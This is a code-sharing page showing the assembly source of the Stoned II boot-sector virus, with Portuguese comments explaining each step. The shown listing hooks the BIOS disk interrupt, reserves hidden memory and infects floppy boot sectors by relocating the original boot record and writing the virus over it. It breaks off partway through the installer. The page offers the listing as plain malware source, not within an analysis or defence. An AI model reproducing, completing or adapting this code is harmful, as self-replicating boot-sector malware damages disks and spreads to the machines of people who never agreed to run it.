📄 virus stoned.asm
字号:
;
; *****************************************************************
; * *
; * Arquivo: STONEDII.ASM *
; * Descricao: Listagem do virus Stoned II *
; * Data: Nov/1991 *
; * Linguagem: Assembly 8086/8088 *
; * Autor: MACHINATOR *
; * *
; *****************************************************************
;
JMP 07C0:0005 ;Teste carga no end. certo e ajuste CS e IP
JMP INSTALL ;Salte para o instalador
;
0008 DB 000H
;
INT_13_OFF:
DW ? ;Offset da verdadeira Int 13
INT_13_SEG:
DW ? ;Segmento da verdadeira Int 13
COD_CONT_OFF:
DW 000E4H ;Endereco da continuacao do instalador
COD_CONT_SEG:
DW ? ;Segmento alocado p/ operacao
BOOT_OFF:
DW 07C00H ;Offset do inicio do boot carregado
BOOT_SEG:
DW 00000H ;Segmento do inicio do boot carregado
;
0014 DB 000H
;
INTERCEPTER:
PUSH DS ;Salve os registradores que serao utilizados
PUSH AX
CMP AH,02 ;Nao faca nada se funcao menor que 02
JB DONT_CONTM
CMP AH,04 ;Ou se funcao maior que 04
JNB DONT_CONTM
OR DL,DL ;Ou de a operacao nao for no drive A:
JNZ DONT_CONTM
XOR AX,AX ;Ou se os motores estiverem desligados
MOV DS,AX
MOV AL,[043F]
TEST AL,01
JNZ DONT_CONTM
CALL CONTM ;Se passou por todos os testes, intercepte
DONT_CONTM:
POP AX ;Recupere registradores utilizados
POP DS
CS:
JMP FAR [INT_13_OFF] ;Salte p/ a verdadeira Int 13
CONTM:
PUSH BX ;Salve registradores
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,0004 ;Quantidade de tentativas
RETRY:
MOV AX,0201 ;Leia o setor 0 (boot) do drive A:
PUSH CS ;No segmento do codigo
POP ES
MOV BX,0200 ;A partir de 0200 (apos o codigo)
XOR CX,CX
MOV DX,CX
INC CX
PUSHF ;Salve flags (p/ o Iret)
CS:
CALL FAR [INT_13_OFF] ;Chame a verdadeira Int 13
JNB NO_ERROR0 ;Se Ok, salte p/ restante do interceptador
XOR AX,AX ;Se erro, faca um reset da unidade de disco
PUSHF ;Salve flags (p/ o Iret)
CS:
CALL FAR [INT_13_OFF] ;Chame a verdadeira Int 13
DEC SI ;Decremente contador de erros
JNZ RETRY ;Se ainda nao for 0, repita a operacao
JMP ALRDY_CONTM ;Caso contrario desista
NOP
NO_ERROR0:
XOR SI,SI ;DS:SI aponta para inicio do codigo
MOV DI,0200 ;ES:DI aponta para o inicio do setor lido
CLD
PUSH CS
POP DS
LODSW ;Compare palavra do setor lido
CMP AX,[DI] ; com o do codigo do virus
JNZ NOT_CONTM ;Se diferente, contamine esse disco
LODSW ;Compare as proximas palavras
CMP AX,[DI+02]
JZ ALRDY_CONTM ;Se iguais, disco ja contaminado, retorne
NOT_CONTM:
MOV AX,0301 ;Caso contrario grave boot original
MOV BX,0200 ; no setor 0, trilha 0, face B
MOV CL,03
MOV DH,01
PUSHF ;Salve flags (p/ o Iret)
CS:
CALL FAR [INT_13_OFF] ;Chame a verdadeira Int 13
JB ALRDY_CONTM ;Se erro, desista e retorne
MOV AX,0301 ;Grave o codigo do virus no setor de boot
XOR BX,BX ; setor 0, trilha 0, face A
MOV CL,01
XOR DX,DX
PUSHF ;Salve flags (p/ o Iret)
CS:
CALL FAR [INT_13_OFF] ;Chame a verdadeira Int 13
ALRDY_CONTM:
POP DI ;Recupere registradores utilizados
POP SI
POP ES
POP DX
POP CX
POP BX
RET ;Retorne
;
INSTALL:
XOR AX,AX ;Aponte DS p/ tabela de vetores
MOV DS,AX
CLI ;Desative interrupcoes por um momento
MOV SS,AX ; p/ ajustar SS e SP
MOV SP,7C00
STI
MOV AX,[004C] ;Salve offset da Int 13
MOV [7C09],AX
MOV AX,[004E] ;Salve segmento da Int 13
MOV [7C0B],AX
MOV AX,[0413] ;Roube 2Kb da memoria do sistema
DEC AX
DEC AX
MOV [0413],AX
MOV CL,06 ;Multiplique por 64 (paragrafos por Kb) p/
SHL AX,CL ; calcular inicio da memoria roubada
MOV ES,AX
MOV [7C0F],AX ;Salve o segmento
MOV AX,INTERCEPTER ;Redirecione vetor da Int 13 para o
MOV [004C],AX ; endereco 15 do segmento roubado
MOV [004E],ES
MOV CX,01B8
PUSH CS ;Aponte DS:SI p/ inicio do codigo
POP DS
XOR SI,SI
MOV DI,SI ;Aponte ES:DI p/ a area de instalacao
CLD
REPZ
MOVSB
CS:
JMP FAR [COD_CONT_OFF] ;Execute a instrucao abaixo, no segmento alocado
ANOTH_SEG:
MOV AX,0000
INT 13
XOR AX,AX ;Prepare segmento p/ leitura do boot verdadeiro
MOV ES,AX
MOV AX,0201 ;Leitura de um setor p/ o
MOV BX,7C00 ; endereco 0000:7C00
CS:
CMP BYTE [0008],00 ;Verifique se carga foi em floppy ou winch
JZ FLOPPY ;Se floppy salte
MOV CX,0007 ;Se winch: cilindro 0, setor 7
MOV DX,0080 ; cabeca 0 e unidade 80 (C:)
INT 13 ;Leia
JMP EXEC_BOOT ;Salte p/ execucao do boot normal
NOP
FLOPPY:
MOV CX,0003 ;Se floppy: cilindro 0, setor 3
MOV DX,0100 ; cabeca 1 (face B) e unidade 0 (A:)
INT 13 ;Leia
JB EXEC_BOOT ;Se erro, salte p/ execucao do boot normal
ES:
TEST BYTE [046C],07 ;Teste se timer esta em um intervalo de
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -